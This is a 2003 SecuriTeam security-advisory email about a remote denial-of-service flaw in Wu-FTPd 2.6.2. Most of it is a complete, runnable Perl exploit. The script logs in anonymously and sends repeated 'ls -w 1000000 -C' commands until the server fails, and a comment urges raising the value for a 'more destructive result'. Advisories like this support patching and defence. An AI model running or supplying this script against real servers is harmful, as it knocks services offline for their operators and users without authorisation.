[EXPL] Wu-FTPd Remote DoS (/bin/ls)
From: SecuriTeam (support_at_securiteam.com)
Date: 11/02/03
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To: list@securiteam.com Date: 2 Nov 2003 16:11:33 +0200
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Wu-FTPd Remote DoS (/bin/ls)
------------------------------------------------------------------------
SUMMARY
A vulnerability in Wu-FTPd allows remote attackers to call the /bin/ls
utility with special parameters causing the Wu-FTPd to fail.
DETAILS
Vulnerable systems:
* wu-ftpd version 2.6.2
Exploit:
#!/usr/bin/perl
# DoS sploit for ls
# tested against wu-ftpd 2.6.2
# coded by (c) druid
# greets to viator
use Net::FTP;
(($target = $ARGV[0])&&($count = $ARGV[1])) || die "usage:$0 <target>
<count>";
my $user = "anonymous";
my $pass = "halt\@xyu.com";
$cols=1000000;#you can increase this value for more destructive result ;)
print ":: Trying to connect to target system at: $target...\n"; $ftp =
Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect: $!";
print "Connected!\n";
$ftp->login($user, $pass) || die "could not login: $!";
print "Logged in!\n";
$ftp->cwd("/");
while ($count)
{
$ftp->ls("-w $cols -C");
$count--;
}
print "Done!\n";
$ftp->quit;
ADDITIONAL INFORMATION
The information has been provided by <mailto:zlo@cyberspace.org> Druid.
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